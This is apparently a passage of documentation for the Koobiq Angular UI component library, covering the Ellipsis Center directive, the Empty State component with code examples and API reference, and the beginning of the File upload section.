### Overview

Ellipsis Center truncates long single-line text in the middle so that its beginning and end remain visible within the available width.

#### Usage

Pass the text to the `kbqEllipsisCenter` input of an element whose width is limited by its container. The directive renders the text itself, so leave the element empty.

```html
<div [kbqEllipsisCenter]="file.name"></div>
```

#### Behavior

- When the text does not fit, the directive keeps its end visible — a file extension or the digits that tell two reports apart — and puts the ellipsis in the middle.
- A [tooltip](https://koobiq.io/en/components/tooltip.md) with the full text appears only while part of the text is hidden. Set `kbqTooltipDisabled` to turn it off.
- Text shorter than `minVisibleLength` is not split and is truncated at the end.
- The split is recalculated when the element is resized, including resizes that leave the window size unchanged, such as dragging a splitter. `debounceInterval` sets the delay in milliseconds, 50 by default.

The directive shows file names in [File upload](https://koobiq.io/en/components/file-upload.md) and long items in [Breadcrumbs](https://koobiq.io/en/components/breadcrumbs.md).

### API

#### Directives

##### KbqEllipsisCenterDirective (directive)

Renders text as two spans and moves the ellipsis into the middle, so the tail — a file extension, the
digits that tell two reports apart — stays readable when the host is too narrow for the whole string. A
tooltip spells out the full text, and is enabled only while something is actually hidden.

The tooltip's `forDisabledComponent` is not for this host and should not be bound on it: the hint always
repeats the text this directive shortened, never an explanation of why a wrapped control is unavailable,
and the two derive the same state, so they would overwrite each other. Overflow is the only state the
directive derives, and `kbqTooltipDisabled` is how a consumer suppresses the hint.

```ts
@Directive({ selector: '[kbqEllipsisCenter]' })
class KbqEllipsisCenterDirective extends KbqTooltipTrigger {
    readonly ignoreTooltipPointerEvents = input<boolean>(true);
    readonly minVisibleLength = input<number>(0);
    readonly charWidth = input<number>(7);
    readonly debounceInterval = input<number>(50);
    readonly forDisabledComponent = input<Record<'disabledSignal', WritableSignal<boolean>>>();
    readonly singleInstance = input<boolean>(
        inject(KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT),
        { alias: 'kbqTooltipSingleInstance' }
    );
    hideWithTimeout = input<boolean | undefined>();
    set kbqEllipsisCenter(value: string);
    tooltipVisible: boolean;
    tooltipPlacement: KbqPopUpPlacementValues;
    relativeToPointer: boolean;
    relativeToCaret: boolean;
    relativeToCaretVertical: KbqCaretVerticalAnchor;
    tooltipPlacementPriority: string | string[] | null;
    content: string | TemplateRef<unknown>;
    disabled: boolean;
    enterDelay: number;
    leaveDelay: number;
    trigger: string;
    customClass: string;
    context: unknown;
    color: KbqComponentColors | string;
    arrow: boolean;
    arrowCentered: boolean;
    offset: number | null;
    readonly placementChange: EventEmitter<KbqPopUpPlacementValues>;
    readonly visibleChange: EventEmitter<boolean>;
    modifier: KbqEnumValues<TooltipModifier>;
    header: string | TemplateRef<unknown>;
    isOpen: boolean;
    get isAttached(): boolean;
    get openedChange(): Observable<boolean>;
    show(delay?: number): void;
    hide(delay?: number): void;
    showForMouseEvent(event: MouseEvent): void;
    showForElement(element: HTMLElement): void;
    updateOrigin(origin: KbqOverlayOrigin | null): void;
}
```

- `[ignoreTooltipPointerEvents]`: `boolean` — Overrides the tooltip's hoverable default, as `KbqOptionTooltip` does. The hint spells out text that
  the directive had to truncate, so it floats over the neighbouring content — and a pointer-capturing
  pane would swallow the clicks meant for it.
- `[minVisibleLength]`: `number` — Shortest text worth splitting in the middle. Anything below it keeps its natural order and is cut off
  at the end by the host's own `text-overflow`.

  Defaults to `0` — every overflowing text is split — because that is what the directive has always
  done: the input was declared but never read, so any other default would silently end-truncate labels
  that consumers expect to see split.
- `[charWidth]`: `number` — Lower bound, in pixels, for the average glyph width used to decide how many characters fit in the
  tail. The rendered text is measured as well and the wider of the two wins, so an underestimate here
  can no longer push the extension out of the tail — raising it only shortens the tail further.
- `[debounceInterval]`: `number` — Debounce time (ms) for resize events before recalculating ellipsis position. Defaults to `50`.
- `[forDisabledComponent]`: `Record<'disabledSignal', WritableSignal<boolean>>` — Input for controlling the disabled state of a component.

  The input expects a component containing `disabledSignal` property, which is
  a writable signal emitting boolean values.
- `[kbqTooltipSingleInstance]`: `boolean` — Whether the tooltip takes part in the "only one tooltip is visible at a time" group: showing it
  hides the previously visible tooltip, and it is hidden when another tooltip is shown.

  Defaults to `true`; the default can be changed application-wide with the
  `KBQ_TOOLTIP_SINGLE_INSTANCE_DEFAULT` token.

  Tooltips without an interactive `kbqTrigger` (`manual`, `none`, …) never take part in the group,
  regardless of this input — they are shown imperatively and are expected to stay pinned.
- `[hideWithTimeout]`: `boolean | undefined` — Changes hiding behavior. By default, tooltip is hidden on mouseleave from trigger.
  Setting hideWithTimeout to true will delay tooltip hiding and will not hide when the mouse moves from trigger
  to tooltip.
- `tooltipVisible`: `boolean` — Input (`kbqVisible`) that programmatically shows or hides the tooltip; reflects the current `visible` state.
- `tooltipPlacement`: `KbqPopUpPlacementValues` — Input (`kbqPlacement`) that sets the tooltip placement relative to its trigger; reflects the current `placement`.
- `relativeToPointer`: `boolean` — Positions the tooltip relative to the mouse cursor. Only available for top and bottom kbqPlacement.
  Does not work with kbqPlacementPriority.
- `relativeToCaret`: `boolean` — Positions the tooltip relative to the text caret of the field it is attached to, following it while the
  user types, moves the caret and scrolls the field. Anchors to the selection whenever there is one.

  Every placement is available, unlike with `kbqRelativeToPointer`: the caret is anchored as a rectangle,
  so the usual fallback placements keep the tooltip on screen. Wins when both inputs are enabled.

  The field is the host element itself when it is editable, otherwise the first editable it wraps.
- `relativeToCaretVertical`: `KbqCaretVerticalAnchor` — What the tooltip is vertically anchored to while `kbqRelativeToCaret` is enabled.
- `tooltipPlacementPriority`: `string | string[] | null` — Input (`kbqPlacementPriority`) that sets the ordered fallback placements; reflects the current `placementPriority`.
- `content`: `string | TemplateRef<unknown>` — Input (`kbqTooltip`) with the tooltip content — a string or a template. Updating it refreshes an open tooltip.
- `disabled`: `boolean` — Input (`kbqTooltipDisabled`) controlling whether the tooltip is disabled; setting it to `true` hides it.
  `undefined` leaves the decision to the trigger, like an unset input.

  Reads back the *effective* state, which for triggers that derive one of their own (see
  `derivedDisabledWins`) is not necessarily the value that was written.
- `enterDelay`: `number` — Input (`kbqEnterDelay`) — delay in milliseconds before the tooltip is shown. Defaults to `400`.
- `leaveDelay`: `number` — Input (`kbqLeaveDelay`) — delay in milliseconds before the tooltip is hidden. Defaults to `0`.
- `trigger`: `string` — Input (`kbqTrigger`) with the comma-separated trigger events. An empty value resets to hover + focus and rebinds listeners.
- `customClass`: `string` — Input (`kbqTooltipClass`) with an extra CSS class applied to the tooltip; updating it refreshes the class map.
- `context`: `unknown` — Input (`kbqTooltipContext`) with the context object passed to a template tooltip; updating it refreshes the open tooltip.
- `color`: `KbqComponentColors | string` — Input (`kbqTooltipColor`) with the tooltip color theme. Defaults to `KbqComponentColors.Contrast`.
- `arrow`: `boolean` — Input (`kbqTooltipArrow`) — whether to render the tooltip's arrow/pointer. Defaults to `false`.
- `arrowCentered`: `boolean` — Input (`kbqTooltipArrowCentered`) — centers the arrow on the trigger while preserving the panel placement.
  Requires a visible arrow. Defaults to `false`.
- `offset`: `number | null` — Input (`kbqTooltipOffset`) — distance in pixels between the tooltip and its trigger. `null` keeps
  the gap of the stylesheet. Defaults to the `offset` of `KBQ_TOOLTIP_DEFAULT_OPTIONS`, when a
  provider in scope set one. Inside a provider scope such as the navbar's, `null`/`undefined` restores
  that inherited default.
- `placementChange`: `EventEmitter<KbqPopUpPlacementValues>` — Output (`kbqPlacementChange`) that emits the new placement whenever the tooltip repositions.
- `visibleChange`: `EventEmitter<boolean>` — Output (`kbqVisibleChange`) that emits when the tooltip's visibility changes.
- `modifier`: `KbqEnumValues<TooltipModifier>` — Visual variant of the tooltip. Accepts `'default'` | `'warning'` | `'extended'`.
  Replaces the removed `KbqWarningTooltipTrigger` and `KbqExtendedTooltipTrigger`
  subclasses — to render a warning tooltip use `kbqTooltipModifier="warning"`,
  and `kbqTooltipModifier="extended"` for the extended variant (combine with `kbqTooltipHeader`).
- `header`: `string | TemplateRef<unknown>` — Header text or template, rendered above the tooltip content. Only meaningful with
  `kbqTooltipModifier="extended"`. Replaces the removed `KbqExtendedTooltipTrigger.header`.
- `isOpen`: `boolean` — Whether the pop-up overlay is currently open.
- `isAttached`: `boolean` — Whether the pop-up overlay is currently attached.

  Unlike `isOpen`, which follows the visibility of the pop-up component and therefore lags a task behind
  `show()`/`hide()`, this flips synchronously — it is the window during which the overlay (and its
  backdrop) is present in the DOM. Part of the `KbqSiblingPopup` contract.
- `openedChange`: `Observable<boolean>` — Emits `true` when the pop-up opens and `false` when it closes. Part of the `KbqSiblingPopup` contract.
- `show()`: `void` — Shows the tooltip after `delay` ms. Suppresses showing while a pop-up on the same element holds the
  anchor or on a focus trigger that did not originate from the keyboard, and applies cursor-relative
  positioning when `relativeToPointer` is enabled.
- `hide()`: `void` — Hides the tooltip after `delay` ms and, when the user has genuinely left the host, un-mutes a tooltip
  that a pop-up on the same element had muted.

  `mouseleave` and `blur` are the release signals because the base class binds `hide` to both regardless
  of whether the tooltip is currently visible. A pop-up that is still attached does not count: its
  backdrop steals the hover from the trigger while the pointer stands still, and that `mouseleave` must
  not be mistaken for the user leaving.
- `showForMouseEvent()`: `void` — Shows the tooltip next to the cursor position of the given mouse event, anchoring it to the event's
  `currentTarget` instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template — for instance for a tooltip shared by the
  cells of a virtualized table. The directive still has to be created in an injection context.
- `showForElement()`: `void` — Shows the tooltip anchored to the given element instead of the directive's own host element.

  Use it when the trigger cannot be declared in the template. The directive still has to be created in an
  injection context:

  ```ts
  const tooltip = runInInjectionContext(injector, () => new KbqTooltipTrigger());
  tooltip.showForElement(element);
  ```

  Does nothing while the tooltip is disabled or has no content — there is no overlay to anchor then.
- `updateOrigin()`: `void` — Positions the pop-up against `origin` — an element, or a rectangle in viewport coordinates such as the one
  `kbqCreateCaretOrigin` keeps on the caret — instead of the host element; `null` restores the host
  element. An open pop-up moves to the new origin at once.

  This moves the position origin only. `setExternalNativeElement` moves the host itself, and with it
  the trigger's event listeners, its focus target and the scroll containers the pop-up follows.

## Empty state

- Entry point: `@koobiq/components/empty-state`
- NgModule: `KbqEmptyStateModule`
- Page: https://koobiq.io/en/components/empty-state/overview

### Overview

A placeholder component for empty states or error messages. The border is not part of the component; it is shown only for illustration purposes.

**Example: Empty-state default** (`empty-state-overview`)

```ts empty-state-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-overview-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <h2 kbq-empty-state-title>Нет групп</h2>
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
            <div kbq-empty-state-actions>
                <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">
                    <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                    {{ buttonText }}
                </button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateOverviewExample {
    buttonText = 'Создать группу';
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

#### Size

For full-screen placeholders, a block with larger-sized elements can be used.

**Example: Empty-state big** (`empty-state-big`)

```ts empty-state-big-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-big-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <kbq-empty-state size="big" style="min-height: 216px">
            <h2 kbq-empty-state-title>Нет групп</h2>
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
            <div kbq-empty-state-actions>
                <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">
                    <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                    {{ buttonText }}
                </button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateBigExample {
    buttonText = 'Создать группу';
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

#### Size - variations

The component size is set using the `size` attribute.

**Example: Empty-state size** (`empty-state-size`)

```ts empty-state-size-example.ts
import { ChangeDetectionStrategy, Component, model } from '@angular/core';
import { FormsModule } from '@angular/forms';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqButtonToggleModule } from '@koobiq/components/button-toggle';
import { KbqDefaultSizes } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-size-example',
    imports: [
        FormsModule,
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule,
        KbqButtonToggleModule
    ],
    template: `
        <div>
            <kbq-button-toggle-group [(ngModel)]="size">
                <kbq-button-toggle value="compact">Compact</kbq-button-toggle>
                <kbq-button-toggle value="normal">Normal</kbq-button-toggle>
                <kbq-button-toggle value="big">Big</kbq-button-toggle>
            </kbq-button-toggle-group>
        </div>

        <kbq-empty-state style="min-height: 216px" [size]="size()">
            <h2 kbq-empty-state-title>No Groups</h2>
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
            <div kbq-empty-state-actions>
                <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">
                    <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                    {{ buttonText }}
                </button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateSizeExample {
    buttonText = 'Create group';
    emptyStateText = 'Agents can be grouped together and assigned the same policies.';
    readonly size = model<KbqDefaultSizes>('compact');
}
```

#### Align

Content can be aligned to the center or to the top. The `alignTop` attribute selects the top.

**Example: Empty-state align** (`empty-state-align`)

```ts empty-state-align-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-align-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <div class="layout-row layout-wrap">
            <kbq-empty-state class="flex" style="min-height: 216px">
                <h2 kbq-empty-state-title>Нет групп</h2>
                <div kbq-empty-state-text>{{ emptyStateText }}</div>
                <div kbq-empty-state-actions>
                    <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">
                        <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                        {{ buttonText }}
                    </button>
                </div>
            </kbq-empty-state>

            <kbq-empty-state class="flex" style="min-height: 216px" [alignTop]="true">
                <h2 kbq-empty-state-title>Нет групп</h2>
                <div kbq-empty-state-text>{{ emptyStateText }}</div>
                <div kbq-empty-state-actions>
                    <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">
                        <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                        {{ buttonText }}
                    </button>
                </div>
            </kbq-empty-state>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateAlignExample {
    readonly colors = KbqComponentColors;
    readonly styles = KbqButtonStyles;

    buttonText = 'Создать группу';
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

The component has no height of its own: it grows as a flex item, and in any other container it is exactly as tall as its content, which leaves both alignments looking the same. Give the component or its container a height — the examples here use `min-height` — for the alignment to have an effect.

#### Error

The Empty State component can be used to display an error message. It is switched on with the `errorColor` attribute: the title and the text turn red, and an icon in the illustration slot is tinted with them.

**Example: Empty-state error** (`empty-state-error`)

```ts empty-state-error-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-error-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px" [errorColor]="true">
            <i
                kbq-empty-state-icon
                kbq-icon-item="kbq-triangle-exclamation_16"
                [big]="true"
                [color]="'contrast'"
                [fade]="true"
            ></i>
            <h2 kbq-empty-state-title>Не удалось показать записи</h2>
            <div kbq-empty-state-text>
                {{ emptyStateText }}
            </div>
            <div kbq-empty-state-actions>
                <button kbq-button [color]="'theme'" [kbqStyle]="'transparent'">Обновить</button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateErrorExample {
    emptyStateText = 'Проблема с сетью или подключением к БД. Попробуйте еще раз или обратитесь к администратору.';
}
```

#### Content

##### Illustration

The illustration size can be changed. A large illustration is suitable for full-screen placeholders. If a placeholder is needed for just a specific block, the illustration can be made compact or omitted entirely.

**Example: Empty-state content** (`empty-state-content`)

```ts empty-state-content-example.ts
import { ChangeDetectionStrategy, Component, computed, inject } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors, KbqThemeService } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-content-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule,
        KbqIconModule
    ],
    template: `
        <div class="layout-row layout-wrap">
            <kbq-empty-state class="flex" size="big" style="min-height: 216px">
                <div kbq-empty-state-icon>
                    <img
                        src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                        alt="Empty state"
                        height="192"
                        width="192"
                        [srcset]="srcSet()"
                    />
                </div>
                <h2 kbq-empty-state-title>Нет групп</h2>
                <div kbq-empty-state-text>{{ emptyStateText }}</div>
                <div kbq-empty-state-actions>
                    <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">
                        <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                        {{ buttonText }}
                    </button>
                </div>
            </kbq-empty-state>

            <kbq-empty-state class="flex" style="min-height: 216px">
                <div kbq-empty-state-icon>
                    <img
                        src="https://koobiq.io/assets/images/{{ currentTheme() }}/empty_192.webp"
                        alt="Empty state"
                        width="80"
                        height="80"
                        [srcset]="srcSet()"
                    />
                </div>
                <h2 kbq-empty-state-title>Нет групп</h2>
                <div kbq-empty-state-text>{{ emptyStateText }}</div>
                <div kbq-empty-state-actions>
                    <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">
                        <i kbq-icon="kbq-plus_16" [color]="'theme'"></i>
                        {{ buttonText }}
                    </button>
                </div>
            </kbq-empty-state>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateContentExample {
    readonly colors = KbqComponentColors;
    readonly styles = KbqButtonStyles;
    private readonly themeService = inject(KbqThemeService, { optional: true });
    protected readonly currentTheme = computed(() => this.themeService?.colorScheme() ?? 'light');

    protected readonly srcSet = computed(() => {
        const currentTheme = this.currentTheme();

        return `https://koobiq.io/assets/images/${currentTheme}/empty_192.webp 1x, https://koobiq.io/assets/images/${currentTheme}/empty_192@2x.webp 2x`;
    });

    buttonText = 'Создать группу';
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

In a center-aligned component with an illustration, an additional bottom offset is added, which raises the composition to provide optical compensation.

##### Icon

An icon can be used as the illustration.

**Example: Empty-state icon** (`empty-state-icon`)

```ts empty-state-icon-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'empty-state-icon-example',
    imports: [
        KbqEmptyStateModule,
        KbqIconModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-icon>
                <i kbq-icon-item="kbq-circle-info_16" [big]="true" [color]="'contrast'" [fade]="true"></i>
            </div>
            <div kbq-empty-state-text>
                This should detail the actions you can take on this screen, as well as why it’s valuable.
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateIconExample {}
```

##### Title

**Example: Empty-state title** (`empty-state-title`)

```ts empty-state-title-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';

@Component({
    selector: 'empty-state-title-example',
    imports: [
        KbqEmptyStateModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <h2 kbq-empty-state-title>Нет групп</h2>
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateTitleExample {
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

##### Actions

One or more actions can be placed below the text: buttons, links, and pseudo-links.

**Example: Empty-state actions** (`empty-state-actions`)

```ts empty-state-actions-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';

@Component({
    selector: 'empty-state-actions-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
            <div class="layout-row layout-align-center" kbq-empty-state-actions style="min-width: 340px">
                <button class="layout-margin-right-s" kbq-button [color]="colors.Contrast" [kbqStyle]="styles.Filled">
                    {{ buttonText }}
                </button>

                <button kbq-button [color]="colors.ContrastFade" [kbqStyle]="styles.Filled">Объединить группы</button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateActionsExample {
    readonly styles = KbqButtonStyles;
    readonly colors = KbqComponentColors;

    buttonText = 'Создать группу';
    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

**Example: Empty-state actions more** (`empty-state-actions2`)

```ts empty-state-actions2-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonModule, KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';

@Component({
    selector: 'empty-state-actions2-example',
    imports: [
        KbqEmptyStateModule,
        KbqButtonModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-text>{{ emptyStateText }}</div>
            <div kbq-empty-state-actions>
                <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">Action 1</button>
                <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">Action 2</button>
                <button kbq-button [color]="colors.Theme" [kbqStyle]="styles.Transparent">Action 3</button>
            </div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateActions2Example {
    readonly styles = KbqButtonStyles;
    readonly colors = KbqComponentColors;

    emptyStateText = 'Агенты можно объединить в группу и назначить им одни и те же политики';
}
```

##### Text only

**Example: Empty-state text only** (`empty-state-text-only`)

```ts empty-state-text-only-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqButtonStyles } from '@koobiq/components/button';
import { KbqComponentColors } from '@koobiq/components/core';
import { KbqEmptyStateModule } from '@koobiq/components/empty-state';

@Component({
    selector: 'empty-state-text-only-example',
    imports: [
        KbqEmptyStateModule
    ],
    template: `
        <kbq-empty-state style="min-height: 216px">
            <div kbq-empty-state-text>Нет информации</div>
        </kbq-empty-state>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class EmptyStateTextOnlyExample {
    readonly styles = KbqButtonStyles;
    readonly colors = KbqComponentColors;
}
```

##### Conditional slots

When a slot is rendered conditionally, the condition has to be top level: the `@if` wraps the slot element itself.

```html
@if (failed()) {
<i kbq-empty-state-icon kbq-icon-item="kbq-triangle-exclamation_16"></i>
}
```

Blocks nested in one another, and several elements in one block, do not work — that is how content projection behaves in Angular. Such content never reaches the DOM, with no error and no warning.

When there are several variants, give each its own `@if` at the same level: `@if (hasIcon() && wrapped())` and `@if (hasIcon() && !wrapped())`.

#### Accessibility

The title is rendered with heading typography — `subheading` at the normal size, `headline` at the big one — so write it as a real heading of the level the surrounding page calls for, `<h2 kbq-empty-state-title>`, rather than as a `div`. The component zeroes the browser's own heading margin, so the spacing stays the same whichever element is used.

An empty state is usually inserted into a page that has already been read: after a search returns nothing, or after a request fails. Add `role="status"` on `<kbq-empty-state>` so that assistive technology announces it, or `role="alert"` for the error variant, which is announced more insistently.

The component adds no `role` of its own, because an empty state that is part of the page from the start — an initially empty list, say — has nothing to announce.

### API

#### Components

##### KbqEmptyState (component)

Placeholder rendered in place of content that is empty, unavailable or failed to load. Projects an
illustration, a title, a text and an actions row, in that order.

```html
<kbq-empty-state>
    <h2 kbq-empty-state-title>No groups</h2>
    <div kbq-empty-state-text>Agents can be grouped and given the same policies</div>
</kbq-empty-state>
```

The host has no intrinsic height — it grows as a flex item and is otherwise as tall as its
content, which leaves `alignTop` indistinguishable from the default. Give the host or its
container a height for the alignment to mean anything.

For an empty state inserted dynamically, add `role="status"` — or `role="alert"` for the error
variant — on the host so assistive technology announces it. See the component guide.

```ts
@Component({ selector: 'kbq-empty-state', exportAs: 'kbqEmptyState' })
class KbqEmptyState implements KbqEmptyStateContext {
    readonly errorColor = input<boolean>(false);
    readonly alignTop = input<boolean>(false);
    readonly size = input<KbqDefaultSizes>('normal');
}
```

- `[errorColor]`: `boolean` — Whether the title, the text and the projected icon render in the error color. Defaults to `false`.
- `[alignTop]`: `boolean` — Whether the content sits at the top of the host instead of its center. Defaults to `false`.
- `[size]`: `KbqDefaultSizes` — Size tier of the placeholder: `compact`, `normal` or `big`. Drives every padding and offset,
  the maximum width of the title and the text, and their typography. Defaults to `normal`.

#### Directives

##### KbqEmptyStateActions (directive)

Actions slot of `kbq-empty-state`, rendered below the text. Holds buttons, links or pseudo-links.

```ts
@Directive({ selector: '[kbq-empty-state-actions]' })
class KbqEmptyStateActions {}
```

##### KbqEmptyStateIcon (directive)

Illustration slot of `kbq-empty-state`. Holds an icon, an image or any other element.

A `kbq-icon-item` follows the empty state's `errorColor`, whether the directive sits on the icon
itself or wraps it.

```ts
@Directive({ selector: '[kbq-empty-state-icon]' })
class KbqEmptyStateIcon {}
```

##### KbqEmptyStateText (directive)

Text slot of `kbq-empty-state`, rendered below the title.

```ts
@Directive({ selector: '[kbq-empty-state-text]' })
class KbqEmptyStateText {}
```

##### KbqEmptyStateTitle (directive)

Title slot of `kbq-empty-state`, rendered below the illustration.

It carries heading typography — `subheading` at `size="normal"`, `headline` at `size="big"` — so
the host element should be a real heading of the level the surrounding page calls for:
`<h2 kbq-empty-state-title>`.

```ts
@Directive({ selector: '[kbq-empty-state-title]' })
class KbqEmptyStateTitle {}
```

#### Types

##### KbqEmptyStateContext (interface)

The part of `kbq-empty-state` its projected slots follow.

```ts
interface KbqEmptyStateContext {
    readonly errorColor: Signal<boolean>;
}
```

- `errorColor`: `Signal<boolean>` — Whether the empty state renders in the error color.

## File upload

- Entry point: `@koobiq/components/file-upload`
- NgModule: `KbqFileUploadModule`
- Page: https://koobiq.io/en/components/file-upload/overview

### Overview

Allows the user to upload files to the product.

**Example: File-upload overview** (`file-upload-overview`)

```ts file-upload-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqSingleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-overview-example',
    imports: [
        KbqIconModule,
        KbqSingleFileUploadComponent
    ],
    template: `
        <kbq-single-file-upload [showFileSize]="false">
            <i kbq-icon="kbq-file-o_16"></i>
        </kbq-single-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadOverviewExample {}
```

#### Multiple upload

Multiple files can be dragged into the upload area or selected via the system dialog.

**Example: File-upload multiple default** (`file-upload-multiple-default-overview`)

```ts file-upload-multiple-default-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-default-overview-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload>
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-text-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleDefaultOverviewExample {}
```

##### Compact variant

For the multiple uploader, a compact view is available when it is empty.

**Example: File-upload multiple compact** (`file-upload-multiple-compact-overview`)

```ts file-upload-multiple-compact-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqMultipleFileUploadComponent } from '@koobiq/components/file-upload';
import { KbqIconModule } from '@koobiq/components/icon';

@Component({
    selector: 'file-upload-multiple-compact-overview-example',
    imports: [
        KbqIconModule,
        KbqMultipleFileUploadComponent
    ],
    template: `
        <kbq-multiple-file-upload size="compact">
            <ng-template #kbqFileIcon>
                <i kbq-icon="kbq-file-o_16"></i>
            </ng-template>
        </kbq-multiple-file-upload>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class FileUploadMultipleCompactOverviewExample {}
```

#### File size

When uploading multiple files, their size is always shown in the list. For the single uploader, displaying the file size is configured separately.

